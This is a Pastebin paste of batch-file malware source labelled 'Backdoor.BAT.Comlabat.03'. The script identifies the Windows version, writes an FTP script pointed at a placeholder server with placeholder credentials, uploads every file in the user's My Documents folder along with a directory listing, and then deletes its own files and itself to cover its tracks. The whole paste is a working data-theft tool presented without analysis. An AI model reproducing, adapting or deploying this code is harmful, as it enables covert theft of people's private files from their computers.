Advertisement
FlyFar

Backdoor.BAT.Comlabat.03 - Source Code

Jun 9th, 2023
861
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.09 KB | Cybersecurity | 0 0
  1. @ECHO OFF
  2. > "%SystemRoot%\help\combat\com.log" ECHO [log] 1
  3.  
  4. :Upldir
  5. > "%SystemRoot%\help\combat\upldir.txt" ECHO open (ftp server)
  6. >>"%SystemRoot%\help\combat\upldir.txt" ECHO (ftp username)
  7. >>"%SystemRoot%\help\combat\upldir.txt" ECHO (ftp password)
  8. >>"%SystemRoot%\help\combat\upldir.txt" ECHO cd public_html/combat
  9. >>"%SystemRoot%\help\combat\upldir.txt" ECHO prompt
  10.  
  11. :FINDOS
  12. VER|FIND "XP">NUL
  13. IF NOT ERRORLEVEL 1 GOTO Win2K
  14. VER|FIND "2000">NUL
  15. IF NOT ERRORLEVEL 1 GOTO Win2K
  16. VER|FIND "NT">NUL
  17. IF NOT ERRORLEVEL 1 GOTO WinNT
  18. VER|FIND "Mil">NUL
  19. IF NOT ERRORLEVEL 1 GOTO Win9X
  20. VER|FIND "98">NUL
  21. IF NOT ERRORLEVEL 1 GOTO Win9X
  22. VER|FIND "95">NUL
  23. IF NOT ERRORLEVEL 1 GOTO Win9X
  24. GOTO END
  25.  
  26. :Win2K
  27. >>"%SystemRoot%\help\combat\upldir.txt" ECHO mput "%SystemDrive%\Documents and Settings\%USERNAME%\My Documents\*.*"
  28. >>"%SystemRoot%\help\combat\upldir.txt" ECHO put "%SystemRoot%\help\combat\upldir.log"
  29. >>"%SystemRoot%\help\combat\upldir.txt" ECHO bye
  30. DIR "%SystemDrive%\Documents and Settings\%USERNAME%\My Documents\" > "%SystemRoot%\help\combat\upldir.log"
  31. >>"%SystemRoot%\help\combat\upldir.log" ECHO.
  32. GOTO Upload
  33.  
  34. :WinNT
  35. >>"%SystemRoot%\help\combat\upldir.txt" ECHO mput "%SystemRoot%\profiles\%USERNAME%\personal\*.*"
  36. >>"%SystemRoot%\help\combat\upldir.txt" ECHO put "%SystemRoot%\help\combat\upldir.log"
  37. >>"%SystemRoot%\help\combat\upldir.txt" ECHO bye
  38. DIR "%SystemRoot%\profiles\%USERNAME%\personal\" > "%SystemRoot%\help\combat\upldir.log"
  39. >>"%SystemRoot%\help\combat\upldir.log" ECHO.
  40. GOTO Upload
  41.  
  42. :Win9X
  43. >>"%SystemRoot%\help\combat\upldir.txt" ECHO mput "%SystemDrive%\My Documents\*.*"
  44. >>"%SystemRoot%\help\combat\upldir.txt" ECHO put "%SystemRoot%\help\combat\upldir.log"
  45. >>"%SystemRoot%\help\combat\upldir.txt" ECHO bye
  46. DIR "%SystemDrive%\My Documents\" > "%SystemRoot%\help\combat\upldir.log"
  47. >>"%SystemRoot%\help\combat\upldir.log" ECHO.
  48. GOTO Upload
  49.  
  50. :Upload
  51. IF NOT EXIST "%SystemRoot%\help\combat\upldir.txt" GOTO FINDOS
  52. FTP -s:"%SystemRoot%\help\combat\upldir.txt" > "%SystemRoot%\help\combat\upldir.log"
  53. DEL /F /Q "%SystemRoot%\help\combat\upldir.txt"
  54.  
  55. :END
  56. DEL /F /Q %0
  57. EXIT
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement